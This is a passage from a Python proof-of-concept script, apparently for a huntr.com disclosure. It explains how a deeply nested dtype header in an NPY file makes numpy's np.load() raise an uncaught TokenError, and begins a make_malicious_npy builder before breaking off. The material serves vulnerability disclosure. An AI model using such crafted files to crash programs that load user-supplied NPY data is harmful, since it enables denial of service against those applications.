#!/usr/bin/env python3 """ PoC: CWE-248 Uncaught tokenize.TokenError in numpy np.load() Target: numpy/numpy (huntr.com) Affected versions: numpy 2.3.5, main branch commit b6e8ad8 (all versions) Python: 3.12+ Root cause: _read_array_header() in numpy/lib/_format_impl.py calls _filter_header() when ast.literal_eval() raises SyntaxError. _filter_header() uses tokenize.generate_tokens() which raises TokenError for deeply nested headers. TokenError is not caught anywhere in numpy, escaping from np.load(). Impact: Any program calling np.load() on a user-provided NPY file and catching only ValueError (the documented exception) will be crashed by TokenError. Single 1,218-byte file triggers the bug with no user interaction. """ import struct import sys import os import numpy as np from tokenize import TokenError MAGIC_V1 = b'\x93NUMPY\x01\x00' # NPY format version 1.0 def make_malicious_npy(nesting_depth=100): """ Build a crafted NPY file whose dtype descriptor has `nesting_depth` levels of nested structured dtypes. At depth >= 100 (Python 3.12+), ast.literal_eval raises SyntaxError which triggers _filter_header() which then raises tokenize.TokenError (not caught by numpy). """ # Build nested descriptor: [('f0', [('f1', [('f2', ... '